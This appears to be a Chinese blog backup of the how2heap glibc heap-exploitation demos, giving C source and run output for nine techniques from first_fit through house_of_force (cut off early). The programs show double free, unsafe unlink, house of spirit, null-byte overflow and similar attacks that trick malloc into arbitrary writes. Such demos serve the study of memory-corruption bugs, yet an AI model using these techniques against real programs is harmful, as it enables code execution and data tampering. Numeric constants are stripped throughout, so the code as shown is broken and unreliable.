how2heap 源码及输出
备个份,慢慢写总结
1 first_fit
#include <stdio.h>
#include <stdlib.h>
#include <string.h> int main()
{
printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
printf("glibc uses a first-fit algorithm to select a free chunk.\n");
printf("If a chunk is free and large enough, malloc will select this chunk.\n");
printf("This can be exploited in a use-after-free situation.\n"); printf("Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc();
char* b = malloc();
char* c; printf("1st malloc(512): %p\n", a);
printf("2nd malloc(256): %p\n", b);
printf("we could continue mallocing here...\n");
printf("now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
printf("first allocation %p points to %s\n", a, a); printf("Freeing the first one...\n");
free(a); printf("We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a); printf("So, let's allocate 500 bytes\n");
c = malloc();
printf("3rd malloc(500): %p\n", c);
printf("And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
printf("3rd allocation %p points to %s\n", c, c);
printf("first allocation %p points to %s\n", a, a);
printf("If we reuse the first allocation, it now holds the data from the third allocation.");
}
源码
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating buffers. They can be large, don't have to be fastbin.
1st malloc(): 0x1ca3420
2nd malloc(): 0x1ca3630
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x1ca3420 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x1ca3420
So, let's allocate 500 bytes
3rd malloc(): 0x1ca3420
And put a different string here, "this is C!"
3rd allocation 0x1ca3420 points to this is C!
first allocation 0x1ca3420 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.
输出
2 fastbin_dup
#include <stdio.h>
#include <stdlib.h> int main()
{
printf("This file demonstrates a simple double-free attack with fastbins.\n"); printf("Allocating 3 buffers.\n");
int *a = malloc();
int *b = malloc();
int *c = malloc(); printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c); printf("Freeing the first one...\n");
free(a); printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a); printf("So, instead, we'll free %p.\n", b);
free(b); printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a); printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
printf("1st malloc(8): %p\n", malloc());
printf("2nd malloc(8): %p\n", malloc());
printf("3rd malloc(8): %p\n", malloc());
}
源码
This file demonstrates a simple double-free attack with fastbins.
Allocating buffers.
1st malloc(): 0x21b4420
2nd malloc(): 0x21b4440
3rd malloc(): 0x21b4460
Freeing the first one...
If we free 0x21b4420 again, things will crash because 0x21b4420 is at the top of the free list.
So, instead, we'll free 0x21b4440.
Now, we can free 0x21b4420 again, since it's not the head of the free list.
Now the free list has [ 0x21b4420, 0x21b4440, 0x21b4420 ]. If we malloc times, we'll get 0x21b4420 twice!
1st malloc(): 0x21b4420
2nd malloc(): 0x21b4440
3rd malloc(): 0x21b4420
输出
3 fastbin_dup_into_stack
#include <stdio.h>
#include <stdlib.h> int main()
{
printf("This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; printf("The address we want malloc() to return is %p.\n", +(char *)&stack_var); printf("Allocating 3 buffers.\n");
int *a = malloc();
int *b = malloc();
int *c = malloc(); printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c); printf("Freeing the first one...\n");
free(a); printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a); printf("So, instead, we'll free %p.\n", b);
free(b); printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a); printf("Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(); printf("1st malloc(8): %p\n", d);
printf("2nd malloc(8): %p\n", malloc());
printf("Now the free list has [ %p ].\n", a);
printf("Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20; printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc());
printf("4th malloc(8): %p\n", malloc());
}
源码
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7ffcd6095968.
Allocating buffers.
1st malloc(): 0x1606420
2nd malloc(): 0x1606440
3rd malloc(): 0x1606460
Freeing the first one...
If we free 0x1606420 again, things will crash because 0x1606420 is at the top of the free list.
So, instead, we'll free 0x1606440.
Now, we can free 0x1606420 again, since it's not the head of the free list.
Now the free list has [ 0x1606420, 0x1606440, 0x1606420 ]. We'll now carry out our attack by modifying data at 0x1606420.
1st malloc(): 0x1606420
2nd malloc(): 0x1606440
Now the free list has [ 0x1606420 ].
Now, we have access to 0x1606420 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first bytes of the data at 0x1606420 to point right before the 0x20.
3rd malloc(): 0x1606420, putting the stack address on the free list
4th malloc(): 0x7ffcd6095968
输出
4 unsafe_unlink
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h> uint64_t *chunk0_ptr; int main()
{
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = ; printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*);
printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
chunk0_ptr[] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[]);
printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[]); printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
chunk1_hdr[] &= ~; printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
free(chunk1_ptr); printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[];
strcpy(victim_string,"Hello!~");
chunk0_ptr[] = (uint64_t) victim_string; printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
}
源码
Welcome to unsafe unlink 2.0!
Tested in Ubuntu 14.04/16.04 64bit.
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write. The global chunk0_ptr is at 0x602060, pointing to 0x233c420
The victim chunk we are going to corrupt is at 0x233c4b0 We create a fake chunk inside chunk0.
We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False
Fake chunk fd: 0x602048
Fake chunk bk: 0x602050
We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80
We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.
Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
Original value: Hello!~
New Value: BBBBAAAA
输出
5 house_of_spirit
#include <stdio.h>
#include <stdlib.h> int main()
{
printf("This file demonstrates the house of spirit attack.\n"); printf("Calling malloc() once so that it sets up its memory.\n");
malloc(); printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
unsigned long long fake_chunks[] __attribute__ ((aligned ())); printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[], &fake_chunks[]); printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[] = 0x40; // this is the size printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
fake_chunks[] = 0x2240; // nextsize printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[]; printf("Freeing the overwritten pointer.\n");
free(a); printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[], &fake_chunks[]);
printf("malloc(0x30): %p\n", malloc(0x30));
}
源码
This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region must contain two chunks. The first starts at 0x7ffc19bbc3e8 and the second at 0x7ffc19bbc418.
This chunk.size of this region has to be more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= ). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
The chunk.size of the *next* fake region has be above *SIZE_SZ ( on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc19bbc3e8.
... note that the memory address of the *region* associated with this chunk must be -byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc19bbc3e8, which will be 0x7ffc19bbc3f0!
malloc(0x30): 0x7ffc19bbc3f0
输出
6 poison_null_byte
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h> int main()
{
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 14.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d; printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size); /* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200); printf("b: %p\n", b); c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - ); /* this technique works by overwriting the size metadata of a free chunk */
free(b); printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = ;
printf("b.size: %#lx\n", *b_size_ptr); uint64_t* c_prev_size_ptr = ((uint64_t*)c)-;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
b1 = malloc(0x100); printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-));
printf("We malloc 'b2', our 'victim' chunk.\n"); b2 = malloc(0x80);
printf("b2: %p\n",b2); memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2); printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); free(b1);
free(c); printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d); printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300); printf("New b2 content:\n%s\n",b2); printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
"for the clear explanation of this technique.\n");
}
源码
Welcome to poison null byte 2.0!
Tested in Ubuntu 14.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x100 bytes for 'a'.
a: 0xc22420
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
b: 0xc22530
c: 0xc22740
b.size: 0x211
b.size is: (0x200 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x200
c.prev_size is 0x210
b1: 0xc22530
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not:
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0
We malloc 'b2', our 'victim' chunk.
b2: 0xc22640
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0xc22530
Now 'd' and 'b2' overlap.
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf for the clear explanation of this technique.
输出
7 house_of_lore
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption. [ ... ] else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){ errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
} set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin; [ ... ] */ #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h> int main(int argc, char * argv[]){ intptr_t* stack_buffer_1[] = {};
intptr_t* stack_buffer_2[] = {}; printf("\nWelcome to the House of Lore\n");
printf("This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); printf("Allocating the victim chunk\n");
intptr_t *victim = malloc();
printf("Allocated the first small chunk on the heap at %p\n", victim); // victim-8 because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-; printf("stack_buffer_1 at %p\n", (void*)stack_buffer_1);
printf("stack_buffer_2 at %p\n", (void*)stack_buffer_2); printf("Create a fake chunk on the stack");
printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[] = ;
stack_buffer_1[] = ;
stack_buffer_1[] = victim_chunk; printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[] = (intptr_t*)stack_buffer_2;
stack_buffer_2[] = (intptr_t*)stack_buffer_1; printf("Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc();
printf("Allocated the large chunk on the heap at %p\n", p5); printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim); printf("\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
printf("victim->fwd: %p\n", (void *)victim[]);
printf("victim->bk: %p\n\n", (void *)victim[]); printf("Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
printf("This means that the chunk %p will be inserted in front of the SmallBin\n", victim); void *p2 = malloc();
printf("The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); printf("The victim chunk has been sorted and its fwd and bk pointers updated\n");
printf("victim->fwd: %p\n", (void *)victim[]);
printf("victim->bk: %p\n\n", (void *)victim[]); //------------VULNERABILITY----------- printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); victim[] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack //------------------------------------ printf("Now allocating a chunk with size equal to the first one freed\n");
printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); void *p3 = malloc(); printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc();
printf("p4 = malloc(100)\n"); printf("\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[]); printf("\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
}
源码
Welcome to the House of Lore
This is a revisited version that bypass also the hardening check introduced by glibc malloc
This is tested against Ubuntu 14.04. - 32bit - glibc-2.23 Allocating the victim chunk
Allocated the first small chunk on the heap at 0x6ee420
stack_buffer_1 at 0x7ffc54c3a090
stack_buffer_2 at 0x7ffc54c3a070
Create a fake chunk on the stackSet the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list
Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stackAllocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free()
Allocated the large chunk on the heap at 0x6ee490
Freeing the chunk 0x6ee420, it will be inserted in the unsorted bin In the unsorted bin the victim's fwd and bk pointers are nil
victim->fwd: (nil)
victim->bk: (nil) Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin
This means that the chunk 0x6ee420 will be inserted in front of the SmallBin
The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0x6ee880
The victim chunk has been sorted and its fwd and bk pointers updated
victim->fwd: 0x7f9e9ae44bd8
victim->bk: 0x7f9e9ae44bd8 Now emulating a vulnerability that can overwrite the victim->bk pointer
Now allocating a chunk with size equal to the first one freed
This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer
This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk
p4 = malloc() The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7f9e9ae44bd8 p4 is 0x7ffc54c3a0a0 and should be on the stack!
输出
8 overlapping_chunks
/* A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */ #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h> int main(int argc , char* argv[]){ intptr_t *p1,*p2,*p3,*p4; printf("\nThis is a simple chunks overlapping problem\n\n");
printf("Let's start to allocate 3 chunks on the heap\n"); p1 = malloc(0x100 - );
p2 = malloc(0x100 - );
p3 = malloc(0x80 - ); printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); memset(p1, '', 0x100 - );
memset(p2, '', 0x100 - );
memset(p3, '', 0x80 - ); printf("\nNow let's free the chunk p2\n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
printf("For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n"); int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - ;
printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size); *(p2-) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 printf("\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
printf("This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size); printf("\np4 has been allocated at %p and ends at %p\n", p4, p4+evil_region_size);
printf("p3 starts at %p and ends at %p\n", p3, p3+);
printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); printf("Let's run through an example. Right now, we have:\n");
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3); printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '', evil_region_size);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3); printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '', );
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);
}
源码
This is a simple chunks overlapping problem Let's start to allocate 3 chunks on the heap
The chunks have been allocated here:
p1=0x2288420
p2=0x2288520
p3=0x2288620 Now let's free the chunk p2
The chunk p2 is now in the unsorted bin ready to serve possible
new malloc() of its size
Now let's simulate an overflow that can overwrite the size of the
chunk freed p2.
For a toy program, the value of the last bits is unimportant; however, it is best to maintain the stability of the heap.
To achieve this stability we will mark the least signifigant bit as (prev_inuse), to assure that p1 is not mistaken for a free chunk.
We are going to set the size of chunk p2 to to , which gives us
a region size of Now let's allocate another chunk with a size equal to the data
size of the chunk p2 injected size
This malloc will be served from the previously freed chunk that
is parked in the unsorted bin which size has been modified by us p4 has been allocated at 0x2288520 and ends at 0x22890e0
p3 starts at 0x2288620 and ends at 0x22888a0
p4 should overlap with p3, in this case p4 includes all p3. Now everything copied inside chunk p4 can overwrites data on
chunk p3, and data written to chunk p3 can overwrite data
stored in the p4 chunk. Let's run through an example. Right now, we have:
p4 = x��M4
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333q If we memset(p4, '', ), we have:
p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q
p3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q And if we then memset(p3, '', ), we have:
p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q
输出
9 house_of_force
/* This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html ) Tested in Ubuntu 14.04, 64bit. */ #include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h> char bss_var[] = "This is a string that we want to overwrite."; int main(int argc , char* argv[])
{
printf("\nWelcome to the House of Force\n\n");
printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
printf("The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n"); printf("\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
printf("Its current value is: %s\n", bss_var); printf("\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc();
printf("The chunk of 256 bytes has been allocated at %p.\n", p1); printf("\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
printf("Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size); printf("\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); //----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
printf("\nThe top chunk starts at %p\n", ptr_top); printf("\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
printf("Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[] = -;
printf("New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top));
//------------------------ printf("\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n"); unsigned long evil_size = (unsigned long)bss_var - sizeof(long)* - (unsigned long)ptr_top;
printf("\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
printf("As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); void* ctr_chunk = malloc();
printf("\nNow, the next chunk we overwrite will point at our target buffer.\n");
printf("malloc(100) => %p!\n", ctr_chunk);
printf("Now, we can finally overwrite that value:\n"); printf("... old string: %s\n", bss_var);
printf("... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
printf("... new string: %s\n", bss_var); // some further discussion:
//printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//printf("This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); //printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
源码
Welcome to the House of Force The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
